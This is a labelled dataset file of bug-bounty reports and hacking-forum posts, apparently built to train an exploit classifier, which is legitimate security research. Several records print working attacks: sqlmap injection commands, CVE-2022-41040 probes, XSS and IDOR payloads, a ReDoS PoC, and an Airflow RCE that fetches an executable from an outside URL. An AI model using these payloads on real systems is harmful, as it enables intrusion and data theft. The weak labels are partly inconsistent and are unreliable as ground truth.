-{"id": "37ba04718b559ebae9df", "text": "[SQL Injection] SQL injection at [https://█████████] [HtUS]\n\nHello,\n\n##Summary\n\nwhile doing test on [`www.███`](http://www.██████/) I’ve found that the endpoint at [`/olc/███comments/comment_post.php`](https://████████) is vulnerable with SQL injection vulnerability\n\n##Vulnerable parameters \n\n- staff_student\n\n##POC\n\n- using sqlmap run command\n\n```jsx\npython3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent  -u \"https://███████\" --data=\"staff_student=STUDENT&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit+Comments\" -p staff_student --dbms=mysql \n```\n\n- we can see that the target parameter is vulnerable\n\n```jsx\nPOST parameter 'staff_student' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n\nsqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests:\n---\nParameter: staff_student (POST)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: staff_student=STUDENT'||(SELECT 0x6545736f FROM DUAL WHERE 6919=6919 AND 4128=4128)||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: staff_student=STUDENT'||(SELECT 0x615a636e FROM DUAL WHERE 7192=7192 AND (SELECT 4865 FROM (SELECT(SLEEP(5)))VDbe))||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments\n```\n\n{F1810520}\n- add `--dbs` we can see the sqlmap will start get the DBS\n\n```jsx\navailable databases [13]:\n[] █████████\n[] ██████mobile\n[] GET\n[] information_schema\n[] LEAM\n[] leat\n[] LEV\n[] mysql\n[] performance_schema\n[] SET\n[] test\n[] testadmin\n[*] testusers\n```\n\n\n{F1810521}\n\n## Impact\n\nattacker is able to get the database", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "02c5e9e7a8855cd59cd2", "text": "[Server-Side Request Forgery (SSRF)] mail.acronis.com is vulnerable to zero day vulnerability CVE-2022-41040\n\nHello Acronis team,\n\nPlease run\n\ncurl -ksL -m5  -o /dev/null -I -w \"%{http_code}\" \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\"\ncurl -ksL -m5 \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\" | grep Protocol\n\n\nand get following output\n\n404 and {\"Protocol\":\"ActiveSync\",\"Url\":\"https://eas.outlook.com/Microsoft-Server-ActiveSync\"}\n\nProving that  mail.acronis.com is vulnerable to CVE-2022-41040\n\nPoc video attached\n\n## Impact\n\nSSRF can be used to for unauthorized actions or access to confidential data.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-41040"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7e574153b6c8f7018cc3", "text": "[Unknown] [CPP]: Add query for CWE-190: Integer Overflow or Wraparound when using transform after operation\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1d32796b81ce0c6b311a", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Public Profile Reviews\n\nSummary:\nStored XSS found in public profile review in which we can add product details in shop addition options. In description of shop product we can add data URI XSS in HTML format which is led to XSS once user click on HTML.\nIn data URI XSS payload is encrypted in base64\n\nSteps To Reproduce:\n  1. Login with registered username and go to profile.\n  2. After that click on add recommendation and add product details and in it's description add below payload:\n<a href=\"data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=\">Click Here</a>\n{ Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=\n(PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) : <script>alert('XSS')</script> }\n  3. Now save the form by filling rest columns.\n  4. If any one views public profile and click on HTML tag, it will trigger XSS.\n\nProof Of Concept:\nVideo POC attached\n\n## Impact\n\nAttacker can execute XSS in the victim user using judge platform", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "04eeac0bceebc33eac33", "text": "[Cleartext Storage of Sensitive Information] Secret API Key is logged in cleartext\n\n## Summary:\n\nWhile code-reviewing the repository <https://github.com/omise/omise-python/>, I have found that you log in clear-text some sensitive data. \n\n## Steps To Reproduce:\n\n  1. Check here [omise/request.py#L88](https://github.com/omise/omise-python/blob/bfcf283378a823139b9f19f10e84d42a98c5b1ac/omise/request.py#L88) and here [omise/request.py#L111](https://github.com/omise/omise-python/blob/bfcf283378a823139b9f19f10e84d42a98c5b1ac/omise/request.py#L111)\n 1. The code source explicitly logs in debugging mode the secret API key.\n```\nlogger.debug('Authorization: %s', self.api_key)\n```\n\n 1. Activate logging level debug and run the following sample.py file \n```\nimport omise\nomise.api_secret = 'skey_test_5sqdfyjv0rtqzs9f2x2'\n\ncustomer = omise.Customer.create(\n   description='John Doe',\n   email='john.doe@example.com'\n)\n```\n\nYou will get:\n\n{F1857247}\n\n## Impact\n\n- sensitive data logged in clear text may end up in unusual places: recorded demonstrations, copied logs, etc.\n\n## Remediation\n\n- I suggest you log at least a partial part of the secret API key if not remove the L88 and L111 in whole.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ca7547fe2486dc0e920", "text": "[Improper Access Control - Generic] Information Disclosure FrontPage Configuration Information\n\nHi there i found a information disclosure Microsoft FrontPage configuration in the subdomain ██████████hat allows me to see version number and scripting paths off sharepoint using firefox.\n\nPOC:\nGo to the following url:\nhttps://███████/_vti_inf.html\nand you will see the code\n\n<!-- FrontPage Configuration Information \nFPVersion=\"16.00.0.000\"\nFPShtmlScriptUrl=\"_vti_bin/shtml.dll/_vti_rpc\"\nFPAuthorScriptUrl=\"_vti_bin/_vti_aut/author.dll\"\nFPAdminScriptUrl=\"_vti_bin/_vti_adm/admin.dll\"\nTPScriptUrl=\"_vti_bin/owssvr.dll\"\n-->\n██████████\n\nFor more detailed information please check the References section first link.\n\n## References\nhttps://fortiguard.com/encyclopedia/ips/103284772\nhttps://blogs.msdn.microsoft.com/fabdulwahab/2015/08/15/security-protecting-sharepoint-server-applications/\n\n## Impact\n\nAttackers can know the version and scripting paths information of Sharepoint FrontPage Configuration.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nJust follow the URL provided\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "82454db3b2a0cda1cb3f", "text": "[Improper Input Validation] Apache Airflow Google Cloud Sql Provider Remote Command Execution\n\n## 0x01 Test environment\nairflow 2.5.1\n[apache-airflow-providers-google](https://airflow.apache.org/docs/apache-airflow-providers-google/8.8.0/) 8.8.0\nBuild with docker compose\n##  0x02 Reproduction steps\n### 2.1 Prepare the malicious executable\nWrite the following `exec.cpp` file.\n```\n#include<stdlib.h>\nusing namespace std;\nint main(){\n        system(\"mkdir /tmp/hello\");\n        return 0;\n}\n```\nIn a linux environment, use g++ to compile and rename it to system\n```python\ng++ exec.cpp -o system\n```\n{F2213397}\nPut the compiled system malicious executable file into Google Cloud Storage, and set the permission to public. My address for this exploit is [https://storage.googleapis.com/swordlight/system](https://storage.googleapis.com/swordlight/system)\n\n### 2.2 Creating a Malicious Google Cloud SQL Database Connection\nCreate the following Google Cloud SQL Database connection named aaa under Admin->Connections Among them.\nHost, Schema, Login, and Port filed are required, just fill in the content that conforms to the format.\n{F2213400}\nAmong them, Extra  filed fills in the actual content as follows, and note that sql_proxy_version is set to `../swordlight/system?a=`\n```python\n{\n  \"project_id\":\"pivotal-gearing-375804\",\n  \"instance\":\"hellopg\",\n  \"location\":\"us-central1-b\",\n  \"database_type\":\"postgres\",\n  \"use_proxy\":\"True\",\n  \"use_ssl\":\"False\",\n  \"sql_proxy_use_tcp\":\"True\",\n  \"sql_proxy_version\":\"../swordlight/system?a=\",\n  \"sslcert\":\"\",\n  \"sslkey\":\"\",\n  \"sslrootcert\":\"\"\n}\n```\n### 2.3 Use the CloudSQLExecuteQueryOperator operator in Dag for verification\nCreate a google_test.py script that uses the CloudSQLExecuteQueryOperator operator. \nPut it in the `/opt/airflow/dags` directory so that it can be automatically loaded by airflow.The content is as follows, where gcp_cloudsql_conn_id is set to the connection name aaa we established above.\n```python\nfrom __future__ import annotations\n\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom os.path import expanduser\nfrom urllib.parse import quote_plus\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator\n\n\nSQL = [\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",  # shows warnings logged\n    \"INSERT INTO TABLE_TEST VALUES (0)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)\",\n    \"DROP TABLE TABLE_TEST\",\n    \"DROP TABLE TABLE_TEST2\",\n]\n\n\npostgres_kwargs = dict(\n    user=\"postgres\",\n    password=r\"ktd2(%EzQ5\",\n    public_port=\"5432\",\n    public_ip=\"34.122.52.6\",\n    project_id=\"pivotal-gearing-375804\",\n    location=\"us-central1-b\",\n    instance=\"hellopg\",\n    database=\"postgres\",\n    client_cert_file=\"key/postgres-client-cert.pem\",\n    client_key_file=\".key/postgres-client-key.pem\",\n    server_ca_file=\".key/postgres-server-ca.pem\",\n)\n\n\n# Postgres: connect via proxy over TCP\nos.environ[\"AIRFLOW_CONN_PROXY_POSTGRES_TCP\"] = (\n    \"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?\"\n    \"database_type=postgres&\"\n    \"project_id={project_id}&\"\n    \"location={location}&\"\n    \"instance={instance}&\"\n    \"use_proxy=True&\"\n    \"sql_proxy_use_tcp=True\".format(**postgres_kwargs)\n)\n\nconnection_names = [\n    \"proxy_postgres_tcp\",\n]\n\nwith models.DAG(\n    dag_id=\"example_gcp_sql_query\",\n    start_date=datetime(2021, 1, 1),\n    catchup=False,\n    tags=[\"example\"],\n) as dag:\n    prev_task = None\n\n\n    task = CloudSQLExecuteQueryOperator(\n        gcp_cloudsql_conn_id=\"aaa\",gcp_conn_id=\"proxy_postgres_tcp\",task_id=\"example_gcp_sql_task_proxy_postgres_tcp\" , sql=SQL\n    )\n    tasks.append(task)\n    if prev_task:\n        prev_task >> task\n    prev_task = task\n\n# [END howto_operator_cloudsql_query_operators]\n```\n{F2213402}\nOpen the example_gcp_sql_query dag corresponding to our google_test.py script in the UI management interface, and run.\n{F2213403}\nClick to view the running graph and logs through the Graph menu.\n{F2213404}\n{F2213405}\nIt can be seen fr", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "daba7632e9f9ed83ca26", "text": "for some reason you need to append the leaked address at the payload i just tried it and it works i don’t know the reason why", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "427596ec7c708666ce9a", "text": "[Cross-site Scripting (XSS) - DOM] Cross-site scripting (DOM-based)\n\nIssue detail\nThe application may be vulnerable to DOM-based cross-site scripting. Data is read from window.location.hash and passed to $().\n   The exploitability of this issue might depend on the specific version of jQuery that is being used. \n\nIssue background\nDOM-based vulnerabilities arise when a client-side script reads data from a controllable part of the DOM ( https://oneweb.net/assets/scripts/app.min.js ) and processes this data in an unsafe way.\nDOM-based cross-site scripting arises when a script writes controllable data into the HTML document in an unsafe way. An attacker may be able to use the vulnerability to construct a URL that, if visited by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.\nThe attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.\nUsers can be induced to visit the attacker's crafted URL in various ways, similar to the usual attack delivery vectors for reflected cross-site scripting vulnerabilities.\nBurp Suite automatically identifies this issue using static code analysis, which may lead to false positives that are not actually exploitable. The relevant code and execution paths should be reviewed to determine whether this vulnerability is indeed present, or whether mitigations are in place that would prevent exploitation.\n\nURL : https://oneweb.net/assets/scripts/app.min.js\n\n## Impact\n\nThe most effective way to avoid DOM-based cross-site scripting vulnerabilities is not to dynamically write data from any untrusted source into the HTML document. If the desired functionality of the application means that this behavior is unavoidable, then defenses must be implemented within the client-side code to prevent malicious data from introducing script code into the document. In many cases, the relevant data can be validated on a whitelist basis, to allow only content that is known to be safe. In other cases, it will be necessary to sanitize or encode the data. This can be a complex task, and depending on the context that the data is to be inserted may need to involve a combination of JavaScript escaping, HTML encoding, and URL encoding, in the appropriate sequence.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "361f064dfd9a47a606b2", "text": "[Cryptographic Issues - Generic] DiffieHellman doesn't generate keys after setting a key\n\nDiffieHellman doesn't generate keys after setting a key\n\n## Steps To Reproduce:\n\n  1. Instantiate: `const dh = crypto.createDiffieHellman(1024);`\n  2. Set private key: \n```\n//set private key to 2\ndh.setPrivateKey(Buffer.from(\"02\", 'hex'));        \n//outputs 02 (as expected)\nconsole.log(dh.getPrivateKey().toString('hex'));  \n```\n  3. Generate random private key:\n```\n//generate random private key\ndh.generateKeys();                                 \n//outputs 02: zero day.\nconsole.log(dh.getPrivateKey().toString('hex'));   \n```\n\n## Underlying issue:\n\nOpenSSL (https://github.com/majek/openssl/blob/master/crypto/dh/dh_key.c) doesn't generate keys when they're already instantiated: \n\n```\nif (dh->priv_key == NULL)\n  {\n  priv_key=BN_new();\n  if (priv_key == NULL) goto err;\n  generate_new_key=1;\n  }\nelse\n  priv_key=dh->priv_key;\n\nif (dh->pub_key == NULL)\n  {\n  pub_key=BN_new();\n  if (pub_key == NULL) goto err;\n  }\nelse\n  pub_key=dh->pub_key;\n```\n\nnode:crypto should use OpenSSL correctly. Method `generateKeys()` should re-instantiate OpenSSL before requesting a key, thereby avoiding the above.\n\n## Impact\n\nA nonce must be used just once; using a nonce more than once is a security vulnerability. As concrete examples: Forward secrecy of TLS and IND-CPA of ElGamal would be trivially lost if Node.js's DH were used as a building block. \n\nThis vulnerability is devastating to any developers that have used nodejs in accordance with documentation. Developers have chosen to fix documentation rather than code, unfortunately, nodejs is potentially introducing gaping security holes to anyone using code as original directed.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30c141ac31ef88bf03a4", "text": "[Information Disclosure] [HTA2] Receiving████ access request on @wearehackerone.com email address\n\nHi,\n\n## Description\nI'm not exactly sure what happened, but it seems that my researcher email (jr0ch17@wearehackerone.com) has been added in a group that receives new user access request from [MIDRP](████████).\n████████\n██████████\n\n&nbsp;\n\n## Steps to reproduce\nI'm honestly not sure what happened. I did test a few *.███ applications last week but haven't had the time to look at it since. However, I do believe I did attempt to register an account just to test the endpoint but I'm quite certain I wasn't granted access to anything as I haven't received any further email about that request. That said, I really have no clue how to reproduce this but I figured it would be best if I let you guys know about it.\n&nbsp;\n\n## Impact\n\nThis \"bug\" is currently disclosing me users' organization, phone number and email address which in some way could be considered PII. However, I'm not sure if this information is really sensitive for you guys.\n\nLet me know if you have any question or require more information.\n\nThanks,\nJR0ch17", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7931575ac27307e1edaf", "text": "[Information Disclosure] Wordpress Users Disclosure (/wp-json/wp/v2/users/)\n\nHello Team @top_echelon_software\nInformation:\nUsing REST API, we can see all the WordPress users/author with some of their information.  \n\nStep To Reproduce:\nYou can get user info by entering below url in your browser:\nhttps://www.topechelon.com/wp-json/wp/v2/users/ \n███████\n\n## Impact\n\nAuthors : LTR , LTREditor can be created scenario of doing bruteforce attacks to this users\n\nMalicious counterpart could collect the usernames disclosed (and the admin user) and be focused throughout BF attack (as the usernames are now known)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e285bb2327685abe08c0", "text": "[Privacy Violation] Robots.txt file with potentially sensitive content.\n\n## Summary:\n\n\nInvicti detected a Robots.txt file with potentially sensitive content.\n ##Description:\nIt must be in the topmost directory of your site; if you place it in a subdirectory, search engines will simply ignore it.\n\nDespite its great power, robots.txt is often a relatively simple document, and a basic robots.txt file can be created in a matter of seconds using an editor like Notepad.\n\nThere are other ways to achieve some of the same goals that robots.txt is usually used for.\n\nIndividual pages can include a robots meta tag within the page code itself.\n\nYou can also use the X-Robots-Tag HTTP header to influence how (and whether) content is shown in search results.\n\n\n## Platform(s) Affected:\nwebsite\n\n## Steps To Reproduce:\nIf a mistake in robots.txt is having unwanted effects on your website’s search appearance, the most important first step is to correct robots.txt and verify that the new rules have the desired effect.\n\n  1. Submit an updated sitemap and request a re-crawl of any pages that have been inappropriately delisted.\n  2. Unfortunately, you are at the whim of Googlebot – there’s no guarantee as to how long it might take for any missing pages to reappear in the Google search index.\n    3.All you can do is take the correct action to minimize that time as much as possible and keep checking until the fixed robots.txt is implemented by Googlebot.\n\n## Supporting Material/References:\n\n\n  *https://www.searchenginejournal.com/common-robots-txt-issues/437484/#close\n\n## Impact\n\nAttackers can use your website’s robots.txt file to gain a foothold in your environment and lead to further compromise. Learn how to mitigate your risks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b572a7ca3c7bb00673b", "text": "[Uncontrolled Resource Consumption] @nextcloud/logger NPM package brings vulnerable ansi-regex version\n\n## Summary:\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\\\]()#;?]* and (?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*.\n\n## Details: \nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\n## Steps To Reproduce:\n\n  1. First I download the code (https://github.com/nextcloud/password_policy) I usual cat files and See the technologies that the site use and its versions I Found that You use `ansi-regex`\n  2. then I cat every file and find in package-lock.json has the version I have the versions of the ansi-regex with a lot of versions there some of some vulnerable and other update to the latest version and the vulnerable paths is  \n```json\n},\n\t\t\t\t\"strip-ansi\": {\n\t\t\t\t\t\"version\": \"3.0.1\",\n\t\t\t\t\t\"resolved\": \"https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz\",\n\t\t\t\t\t\"integrity\": \"sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=\",\n\t\t\t\t\t\"requires\": {\n\t\t\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\t\"has-ansi\": {\n\t\t\t\"version\": \"2.0.0\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz\",\n\t\t\t\"integrity\": \"sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=\",\n\t\t\t\"requires\": {\n\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t},\n\n\t\t\t\"dependencies\": {\n\t\t\t\t\"ansi-regex\": {\n\t\t\t\t\t\"version\": \"2.1.1\",\n\t\t\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\"\n\t\t\t\t}\n\n\t\t\t\t\"node_modules/babel-code-frame/node_modules/ansi-regex\": {\n\t\t\t\"version\": \"2.1.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\",\n\t\t\t\"engines\": {\n\t\t\t\t\"node\": \">=0.10.0\"\n\t\t\t}\n\t\t},\n\t\t\"node_modules/babel-code-frame/node_modules/strip-ansi\": {\n\t\t\t\"version\": \"3.0.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz\",\n\t\t\t\"integrity\": \"sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=\",\n\t\t\t\"dependencies\": {\n\t\t\t\t\"ansi-regex\": \"^2.0.0\"\n\t\t\t}\n\t\t\t\"node_modules/has-ansi/node_modules/ansi-regex\": {\n\t\t\t\"version\": \"2.1.1\",\n\t\t\t\"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n\t\t\t\"integrity\": \"sha1-w7M6te42DYbg5ijwRorn7yfWVN8=\",\n\t\t\t\"engines\": {\n\t\t\t\t\"node\": \">=0.10.0\"\n\t\t\t}\n\t\t},\n```\n3. then I found that every version of ansi-regex before 4.1.1 as you see in the code you use 2.11,2.0.0,3.0.1 and these versions are vulnerable to Regular Expression Denial of Service (ReDoS) as every policy that Denial of service attack is out of scope so I didn't try anything to not make any damage to your work but I want to report it to you to investigate on that and update to the fixed version to denied this attack from happening. \n4. this is a poc that attacker can use to \n\n#POC\n```\nimport ansiRegex from 'ansi-regex';\n\nfor(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = \"\\u001B[\"+\";\".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\") \n```\n# Fix: \nupdate to these (4.1.1, 5.0.1, and 6.0.1)  like you do in most of your code. \n\n## Supporting Materials:\n\nthis useful links that can you check on this vuln\n1. https://www.cve.org/CVERecord?id=CVE-2021-3807\n2. https://cwe.mitre.org/data/definitions/400.html\n3. https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908\n\n## Impact\n\nthe attacker aimed at making a system inaccessible t", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-3807"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea3679ce3648c2fcb6bd", "text": "[Unknown] Java : Add query to detect Server Side Template Injection (SSTI)\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "601508100ab8c578ec36", "text": "[Insecure Direct Object Reference (IDOR)] Insecure Direct Object Reference (IDOR) - Delete Campaigns\n\n**Summary:**\nHi Team, \n\nI think I can delete any Campaigns based on campaign_id\n\n\n### Steps To Reproduce\n\nFollow the POST request below\n\n````\nPOST /graphql HTTP/2\nHost: hackerone.com\nCookie: yourcookie\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://hackerone.com/organizations/opensea_demo/campaigns/242/edit\nContent-Type: application/json\nX-Csrf-Token: ███\nX-Product-Area: campaigns\nX-Product-Feature: edit\nX-Datadog-Origin: rum\nX-Datadog-Parent-Id: 9027318766950450042\nX-Datadog-Sampling-Priority: 1\nX-Datadog-Trace-Id: 87799383677632658\nContent-Length: 851\nOrigin: https://hackerone.com\nDnt: 1\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"operationName\":\"UpdateCampaign\",\"variables\":{\"product_area\":\"campaigns\",\"product_feature\":\"edit\",\"input\":{\"campaign_id\":\"Z2lkOi8vaGFja2Vyb25lL0NhbXBhaWduLzI0NA==\",\"team_id\":\"Z2lkOi8vaGFja2Vyb25lL0VuZ2FnZW1lbnRzOjpCdWdCb3VudHlQcm9ncmFtLzU3MzI4\",\"bounty_table_row_id\":\"Z2lkOi8vaGFja2Vyb25lL0JvdW50eVRhYmxlUm93LzEwODM2\",\"start_date\":\"2023-05-05T09:00:00Z\",\"end_date\":\"2023-05-08T05:00:00Z\",\"critical\":3,\"high\":2,\"medium\":1.5,\"low\":1.5,\"structured_scope_ids\":[],\"researchers_information\":\"ccccccccccccccc\"}},\"query\":\"mutation UpdateCampaign($input: UpdateCampaignInput!) {\\n  updateCampaign(input: $input) {\\n    was_successful\\n    errors {\\n      edges {\\n        node {\\n          id\\n          type\\n          field\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n\n````\n\nDecode base64 of campaign_id to get **gid://hackerone/Campaign/244**\n\nIncrease or decrease the number after Campaign and re-encode it with base64\n\nAt the campaign_id parameter in the request change it to another program's ongoing campaign_id parameter.\n\nThen send Campaign request of any program to be deleted.\n\n## Impact\n\nCan delete all Campaign on hackerone or any program", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "057dcf41e4433e712fb7", "text": "Anyone else struggling with this, remember the hint from the first question: Use options “–batch --dump” to automatically dump all data. This was a deal breaker for me", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a8263218fab4cb059e55", "text": "Well it appears I over complicated this by 1000 times. At least I learned how to process data and modify scripts lol.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0059447d640072a0980b", "text": "[Improper Access Control - Generic] CVE-2023-30587 Process-based permissions can be bypassed with the \"inspector\" module.\n\n[https://hackerone.com/reports/1962701](https://hackerone.com/reports/1962701)  Restrictions set with the new process based permission flag can by bypassed with the built-in inspector module.\n\n## Impact\n\nPermission Model is a mechanism for restricting access to specific resources during execution. This bypasses those restrictions.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-30587"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0096d20ee594843a570f", "text": "It worked! Tell me, please, who is the expert on regular expressions. Who can I personally write to, consult. There are a couple of points that my grep filter has not mastered ( I had to filter out the extra passwords a little manually. Everything worked out, but I want to close this topic completely for myself. Yes, who can tell ьу, for the delay in the attack in BurpSuit, which parameter is responsible. Bypass timing protection. Error Handling?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d164de7e463be4f68e33", "text": "Cryptojacking: a hands-on guide for pentesters\n\nCryptojacking: a hands-on guide for pentesters Because attackers continuously devise new schemes for monetizing hacked machines, cryptojacking has emerged as one of the top ways for cybercriminals to turn hacks into cash. Read more: Learn Ethical Hacking and Penetration Testing Online – 2 May 22 Cryptojacking: a hands-on guide for pentesters using Monero (XMR) Step-by-step guide to cryptojacking with Monero (XMR) using realistic malware. Hands-on guide for pentesters to learn malicious cryptomining Est. reading time: 6 minutes", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
